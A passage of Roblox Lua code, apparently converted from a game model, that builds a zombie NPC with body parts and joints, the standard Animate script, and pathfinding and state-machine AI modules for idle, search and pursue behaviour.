Enum.SurfaceType.Smooth Part189.BrickColor = BrickColor.new("Dark green") Part189.Material = Enum.Material.WoodPlanks Part189.TopSurface = Enum.SurfaceType.Smooth Part189.brickColor = BrickColor.new("Dark green") Part189.FormFactor = Enum.FormFactor.Symmetric Part189.formFactor = Enum.FormFactor.Symmetric Motor6D190.Name = "Left Hip" Motor6D190.Parent = Part189 Motor6D190.MaxVelocity = 0.10000000149012 Motor6D190.C0 = CFrame.new(-1, -1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D190.C1 = CFrame.new(-0.5, 1, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D190.Part0 = Part189 Motor6D190.Part1 = Part195 Motor6D190.part1 = Part195 Motor6D191.Name = "Right Hip" Motor6D191.Parent = Part189 Motor6D191.MaxVelocity = 0.10000000149012 Motor6D191.C0 = CFrame.new(1, -1, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D191.C1 = CFrame.new(0.5, 1, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D191.Part0 = Part189 Motor6D191.Part1 = Part196 Motor6D191.part1 = Part196 Motor6D192.Name = "Left Shoulder" Motor6D192.Parent = Part189 Motor6D192.MaxVelocity = 0.10000000149012 Motor6D192.C0 = CFrame.new(-1, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D192.C1 = CFrame.new(0.5, 0.5, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08) Motor6D192.Part0 = Part189 Motor6D192.Part1 = Part197 Motor6D192.part1 = Part197 Motor6D193.Name = "Right Shoulder" Motor6D193.Parent = Part189 Motor6D193.MaxVelocity = 0.10000000149012 Motor6D193.C0 = CFrame.new(1, 0.5, 0, -4.37113883e-08, 0, 1, -0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D193.C1 = CFrame.new(-0.5, 0.5, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08) Motor6D193.Part0 = Part189 Motor6D193.Part1 = Part198 Motor6D193.part1 = Part198 Motor6D194.Name = "Neck" Motor6D194.Parent = Part189 Motor6D194.MaxVelocity = 0.10000000149012 Motor6D194.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D194.C1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0) Motor6D194.Part0 = Part189 Motor6D194.Part1 = Part199 Motor6D194.part1 = Part199 Part195.Name = "Left Leg" Part195.Parent = Model185 Part195.CFrame = CFrame.new(152.5, 0.999995828, -83.5, 0, 0, -1, 5.77777606e-34, 0.999996305, 0, 1, 5.7777756e-34, 0) Part195.Orientation = Vector3.new(0, -90, 0) Part195.Position = Vector3.new(152.5, 0.999995828, -83.5) Part195.Rotation = Vector3.new(0, -90, 0) Part195.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part195.Size = Vector3.new(1, 2, 1) Part195.BottomSurface = Enum.SurfaceType.Smooth Part195.BrickColor = BrickColor.new("Bright blue") Part195.CanCollide = false Part195.Material = Enum.Material.WoodPlanks Part195.TopSurface = Enum.SurfaceType.Smooth Part195.brickColor = BrickColor.new("Bright blue") Part195.FormFactor = Enum.FormFactor.Symmetric Part195.formFactor = Enum.FormFactor.Symmetric Part196.Name = "Right Leg" Part196.Parent = Model185 Part196.CFrame = CFrame.new(152.5, 0.999995828, -82.5, 0, 0, -1, 5.77777606e-34, 0.999996305, 0, 1, 5.7777756e-34, 0) Part196.Orientation = Vector3.new(0, -90, 0) Part196.Position = Vector3.new(152.5, 0.999995828, -82.5) Part196.Rotation = Vector3.new(0, -90, 0) Part196.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part196.Size = Vector3.new(1, 2, 1) Part196.BottomSurface = Enum.SurfaceType.Smooth Part196.BrickColor = BrickColor.new("Bright blue") Part196.CanCollide = false Part196.Material = Enum.Material.WoodPlanks Part196.TopSurface = Enum.SurfaceType.Smooth Part196.brickColor = BrickColor.new("Bright blue") Part196.FormFactor = Enum.FormFactor.Symmetric Part196.formFactor = Enum.FormFactor.Symmetric Part197.Name = "Left Arm" Part197.Parent = Model185 Part197.CFrame = CFrame.new(152.5, 2.99998856, -84.5, 0, 0, -1, 5.77777606e-34, 0.999996305, 0, 1, 5.7777756e-34, 0) Part197.Orientation = Vector3.new(0, -90, 0) Part197.Position = Vector3.new(152.5, 2.99998856, -84.5) Part197.Rotation = Vector3.new(0, -90, 0) Part197.Color = Color3.new(0.992157, 0.917647, 0.552941) Part197.Size = Vector3.new(1, 2, 1) Part197.BottomSurface = Enum.SurfaceType.Smooth Part197.BrickColor = BrickColor.new("Cool yellow") Part197.CanCollide = false Part197.Material = Enum.Material.WoodPlanks Part197.TopSurface = Enum.SurfaceType.Smooth Part197.brickColor = BrickColor.new("Cool yellow") Part197.FormFactor = Enum.FormFactor.Symmetric Part197.formFactor = Enum.FormFactor.Symmetric Part198.Name = "Right Arm" Part198.Parent = Model185 Part198.CFrame = CFrame.new(152.5, 2.99998856, -81.5, 0, 0, -1, 5.77777606e-34, 0.999996305, 0, 1, 5.7777756e-34, 0) Part198.Orientation = Vector3.new(0, -90, 0) Part198.Position = Vector3.new(152.5, 2.99998856, -81.5) Part198.Rotation = Vector3.new(0, -90, 0) Part198.Color = Color3.new(0.992157, 0.917647, 0.552941) Part198.Size = Vector3.new(1, 2, 1) Part198.BottomSurface = Enum.SurfaceType.Smooth Part198.BrickColor = BrickColor.new("Cool yellow") Part198.CanCollide = false Part198.Material = Enum.Material.WoodPlanks Part198.TopSurface = Enum.SurfaceType.Smooth Part198.brickColor = BrickColor.new("Cool yellow") Part198.FormFactor = Enum.FormFactor.Symmetric Part198.formFactor = Enum.FormFactor.Symmetric Part199.Name = "Head" Part199.Parent = Model185 Part199.CFrame = CFrame.new(152.5, 4.49998331, -83, 0, 0, -1, 5.77777606e-34, 0.999996424, 0, 1, 5.77777606e-34, 0) Part199.Orientation = Vector3.new(0, -90, 0) Part199.Position = Vector3.new(152.5, 4.49998331, -83) Part199.Rotation = Vector3.new(0, -90, 0) Part199.Color = Color3.new(0.992157, 0.917647, 0.552941) Part199.Size = Vector3.new(2, 1, 1) Part199.BottomSurface = Enum.SurfaceType.Smooth Part199.BrickColor = BrickColor.new("Cool yellow") Part199.Material = Enum.Material.WoodPlanks Part199.TopSurface = Enum.SurfaceType.Smooth Part199.brickColor = BrickColor.new("Cool yellow") Part199.FormFactor = Enum.FormFactor.Symmetric Part199.formFactor = Enum.FormFactor.Symmetric Decal200.Name = "Face" Decal200.Parent = Part199 Decal200.Texture = "http://www.roblox.com/asset/?id=7074882" SpecialMesh201.Parent = Part199 SpecialMesh201.Scale = Vector3.new(1.25, 1.25, 1.25) Humanoid202.Parent = Model185 Humanoid202.LeftLeg = Part195 Humanoid202.RightLeg = Part196 Humanoid202.Torso = Part186 Humanoid202.WalkSpeed = 10 Script203.Name = "Animate" Script203.Parent = Model185 table.insert(cors,sandbox(Script203,function() function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local currentAnim = "" local currentAnimTrack = nil local currentAnimKeyframeHandler = nil local currentAnimSpeed = 1.0 local animTable = {} local animNames = { idle = { { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 }, { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 } }, walk = { { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 } }, run = { { id = "run.xml", weight = 10 } }, jump = { { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 } }, fall = { { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 } }, climb = { { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 } }, toolnone = { { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 } }, toolslash = { { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } -- { id = "slash.xml", weight = 10 } }, toollunge = { { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } }, dance = { { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } }, dance2 = { { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 } }, dance3 = { { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } }, } -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then -- print("Loading anims " .. name) table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end end -- Setup animation objects function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end -- ANIMATION -- declarations local toolAnim = "None" local toolAnimTime = 0 local jumpAnimTime = 0 local jumpAnimDuration = 0.3 local toolTransitionTime = 0.1 local fallTransitionTime = 0.3 local jumpMaxLimbVelocity = 0.75 -- functions function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopAllAnimations() local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end -- Preload animations function playAnimation(animName, transitionTime, humanoid) local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil) if (animName ~= currentAnim and not idleFromEmote) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- local toolAnimName = "" local toolAnimTrack = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- function onRunning(speed) if speed>0.01 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then -- print("Wha " .. pose) amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then desiredAngle = amplitude * math.sin(time * frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) end -- Tool Animation handling local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimTime = 0 end end -- connect events Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) Humanoid.Swimming:connect(onSwimming) -- main program local runService = game:service("RunService"); -- initialize to idle playAnimation("idle", 0.1, Humanoid) pose = "Standing" while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end end)) StringValue204.Name = "climb" StringValue204.Parent = Script203 Animation205.Name = "ClimbAnim" Animation205.Parent = StringValue204 Animation205.AnimationId = "http://www.roblox.com/asset/?id=125750800" StringValue206.Name = "fall" StringValue206.Parent = Script203 Animation207.Name = "FallAnim" Animation207.Parent = StringValue206 Animation207.AnimationId = "http://www.roblox.com/asset/?id=125750759" StringValue208.Name = "idle" StringValue208.Parent = Script203 Animation209.Name = "Animation1" Animation209.Parent = StringValue208 Animation209.AnimationId = "http://www.roblox.com/asset/?id=125750544" NumberValue210.Name = "Weight" NumberValue210.Parent = Animation209 NumberValue210.Value = 9 Animation211.Name = "Animation2" Animation211.Parent = StringValue208 Animation211.AnimationId = "http://www.roblox.com/asset/?id=125750618" NumberValue212.Name = "Weight" NumberValue212.Parent = Animation211 NumberValue212.Value = 1 StringValue213.Name = "jump" StringValue213.Parent = Script203 Animation214.Name = "JumpAnim" Animation214.Parent = StringValue213 Animation214.AnimationId = "http://www.roblox.com/asset/?id=125750702" StringValue215.Name = "run" StringValue215.Parent = Script203 Animation216.Name = "RunAnim" Animation216.Parent = StringValue215 Animation216.AnimationId = "http://www.roblox.com/asset/?id=125749145" StringValue217.Name = "toolnone" StringValue217.Parent = Script203 Animation218.Name = "ToolNoneAnim" Animation218.Parent = StringValue217 Animation218.AnimationId = "http://www.roblox.com/asset/?id=125750867" StringValue219.Name = "walk" StringValue219.Parent = Script203 Animation220.Name = "WalkAnim" Animation220.Parent = StringValue219 Animation220.AnimationId = "http://www.roblox.com/asset/?id=125749145" Script221.Parent = Model185 table.insert(cors,sandbox(Script221,function() local zombie = script.Parent for _, script in pairs(zombie.ModuleScripts:GetChildren()) do if not game.ServerStorage:FindFirstChild(script.Name) then script:Clone().Parent = game.ServerStorage end end local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie) local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService) local function clearParts(parent) for _, part in pairs(parent:GetChildren()) do clearParts(part) end local delay if parent:IsA("Part") then delay = math.random(5,10) else delay = 11 end DestroyService:AddItem(parent, delay) end zombie.Humanoid.Died:connect(function() AI.Stop() math.randomseed(tick()) clearParts(zombie) script.Disabled = true end) local lastMoan = os.time() math.randomseed(os.time()) while true do local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms) animationTrack:Play() -- local now = os.time() -- if now - lastMoan > 5 then -- if math.random() > .3 then -- zombie.Moan:Play() ---- print("playing moan") -- lastMoan = now -- end -- end wait(2) end end)) BillboardGui222.Parent = Model185 BillboardGui222.Size = UDim2.new(0, 100, 0, 30) BillboardGui222.StudsOffset = Vector3.new(0, 5, 0) TextLabel223.Parent = BillboardGui222 TextLabel223.Visible = false TextLabel223.Size = UDim2.new(1, 0, 1, 0) TextLabel223.BackgroundColor = BrickColor.new("Institutional white") TextLabel223.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel223.Font = Enum.Font.SourceSansBold TextLabel223.FontSize = Enum.FontSize.Size24 TextLabel223.Text = "Idle" TextLabel223.TextSize = 24 Configuration224.Name = "ModuleScripts" Configuration224.Parent = Model185 ModuleScript225.Name = "ROBLOX_AIUtilities" ModuleScript225.Parent = Configuration224 table.insert(cors,sandbox(ModuleScript225,function() local utility = {} function utility:WideRayCast(start, target, offset, ignoreList) local parts = {} local ray = Ray.new(start, target - start) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit local ray = Ray.new(start + offsetVector, target - start + offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end local ray = Ray.new(start - offsetVector, target - start - offsetVector) local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if part then table.insert(parts, part) end return parts end function utility:FindNearestPathPoint(path, point, start, target, ignoreList) local occludePoint = path:CheckOcclusionAsync(point) if occludePoint > 0 then utility:WideRayCast(start) end end local maxForce = 15 function utility:GetRepulsionVector(unitPosition, otherUnitsPositions) local repulsionVector = Vector3.new(0,0,0) local count = 0 for _, other in pairs(otherUnitsPositions) do local fromOther = unitPosition - other --fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce) fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2) repulsionVector = repulsionVector + fromOther end return repulsionVector * maxForce end function utility:GetIdleState(StateMachine) local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() end return IdleState end function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView) local closestTarget = nil local closestDistance = math.huge for _, character in pairs(characters) do local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position local toTargetWedge = toTarget * Vector3.new(1,0,1) local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude) if math.deg(angle) < fieldOfView then local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget) local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList) if part and part.Parent == character then if toTarget.magnitude < closestDistance then closestTarget = character closestDistance = toTarget.magnitude end end end end return closestTarget end local function isSpaceEmpty(position) local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2)) return game.Workspace:IsRegion3Empty(region) end function utility:FindCloseEmptySpace(model) local targetPos = Vector3.new(0,0,0) local count = 0 math.randomseed(os.time()) repeat local xoff = math.random(5,10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) if isSpaceEmpty(targetPos) then return targetPos else targetPos = targetPos + Vector3.new(0,4,0) end if isSpaceEmpty(targetPos) then return targetPos end count = count + 1 until count > 10 return nil end return utility end)) ModuleScript226.Name = "ROBLOX_DestroyService" ModuleScript226.Parent = Configuration224 table.insert(cors,sandbox(ModuleScript226,function() local destroyService = {} local destroyQueue = {} function destroyService:AddItem(theobject, delay) local now = os.time() local destroyObject = {object = theobject, destroyTime = delay + now} for i, storedObject in pairs(destroyQueue) do if destroyQueue[i].destroyTime > destroyObject.destroyTime then table.insert(destroyQueue, i, destroyObject) return true end end table.insert(destroyQueue, destroyObject) return true end local updateThread = coroutine.create(function() while true do local now = os.time() for _, storedObject in pairs(destroyQueue) do if now >= storedObject.destroyTime then table.remove(destroyQueue, 1) if storedObject.object then storedObject.object:Destroy() end elseif now >= storedObject.destroyTime - 1 then if storedObject.object and storedObject.object:IsA("Part") then local trans = storedObject.object.Transparency + 1/30 storedObject.object.Transparency = trans end else break end end wait() end end) coroutine.resume(updateThread) return destroyService end)) ModuleScript227.Name = "ROBLOX_HumanoidList" ModuleScript227.Parent = Configuration224 table.insert(cors,sandbox(ModuleScript227,function() local humanoidList = {} local storage = {} function humanoidList:GetCurrent() return storage end local function findHumanoids(object, list) if object then if object:IsA("Humanoid") then table.insert(list, object) end for _, child in pairs(object:GetChildren()) do local childList = findHumanoids(child, list) end end end local updateThread = coroutine.create(function() while true do storage = {} findHumanoids(game.Workspace, storage) wait(3) end end) coroutine.resume(updateThread) return humanoidList end)) ModuleScript228.Name = "ROBLOX_StateMachine" ModuleScript228.Parent = Configuration224 table.insert(cors,sandbox(ModuleScript228,function() local machine = {} machine.new = function() local StateMachine = {} StateMachine.WaitTime = .2 StateMachine.CurrentState = nil StateMachine.SwitchState = function(newState) if StateMachine.CurrentState then StateMachine.CurrentState.Stop() end StateMachine.CurrentState = newState if newState then newState.Start() end end StateMachine.NewState = function() local state = {} state.Name = "" state.Conditions = {} state.isRunning = false state.Action = function() end state.Run = function() state.isRunning = true while state.isRunning do --check conditions --print("checking conditions") for _, condition in pairs(state.Conditions) do --print("Checking " .. condition.Name) if condition.Evaluate() then --print(condition.Name .. " is true. Switching states") StateMachine.SwitchState(condition.TransitionState) return end end --if no conditions satisfied, perform action state.Action() wait(StateMachine.WaitTime) end end state.Init = function() end state.Start = function() --print("Starting " .. state.Name) state.Init() local thread = coroutine.create(state.Run) coroutine.resume(thread) end state.Stop = function() --print("Stopping " .. state.Name) state.isRunning = false end return state end StateMachine.NewCondition = function() local condition = {} condition.Name = "" condition.Evaluate = function() print("replace me") return false end condition.TransitionState = {} return condition end return StateMachine end return machine end)) ModuleScript229.Name = "ROBLOX_ZombieAI" ModuleScript229.Parent = Configuration224 table.insert(cors,sandbox(ModuleScript229,function() --local PathLib = require(game.ServerStorage.PathfindingLibrary).new() local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList) local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities) local ZombieAI = {} function updateDisplay(display, state) local thread = coroutine.create(function() while true do wait() if state then display.Text = state.Name end end end) coroutine.resume(thread) end ZombieAI.new = function(model) local zombie = {} -- CONFIGURATION VARIABLES -- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration, -- Damage, DamageCooldown local configTable = model.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("AttackRange", 3) loadConfig("FieldOfView", 180) loadConfig("AggroRange", 200) loadConfig("ChanceOfBoredom", .5) loadConfig("BoredomDuration", 10) loadConfig("Damage", 10) loadConfig("DamageCooldown", 1) local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new() local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new() local ZombieTarget = nil local ZombieTargetLastLocation = nil local lastBored = os.time() -- STATE DEFINITIONS -- IdleState: NPC stays still. Refreshes bored timer when started to -- allow for random state change local IdleState = StateMachine.NewState() IdleState.Name = "Idle" IdleState.Action = function() end IdleState.Init = function() lastBored = os.time() end -- SearchState: NPC wanders randomly increasing chance of spotting -- enemy. Refreshed bored timer when started to allow for random state -- change local SearchState = StateMachine.NewState() SearchState.Name = "Search" local lastmoved = os.time() local searchTarget = nil SearchState.Action = function() -- move to random spot nearby if model then local now = os.time() if now - lastmoved > 2 then lastmoved = now local xoff = math.random(5, 10) if math.random() > .5 then xoff = xoff * -1 end local zoff = math.random(5, 10) if math.random() > .5 then zoff = zoff * -1 end local testtarg = AIUtilities:FindCloseEmptySpace(model) --if testtarg then print(testtarg) else print("could not find") end searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff) --model.Humanoid:MoveTo(target) searchTarget = testtarg end if searchTarget then PathLib:MoveToTarget(model, searchTarget) end end end SearchState.Init = function() lastBored = os.time() end -- PursueState: Enemy has been spotted, need to give chase. local PursueState = StateMachine.NewState() PursueState.Name = "Pursue" PursueState.Action = function() -- Double check we still have target if ZombieTarget then -- Get distance to target local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude -- If we're far from target use pathfinding to move. Otherwise just MoveTo if distance > configs["AttackRange"] + 5 then PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position) else model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position) -- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then -- model.Humanoid.Jump = true -- end end end end 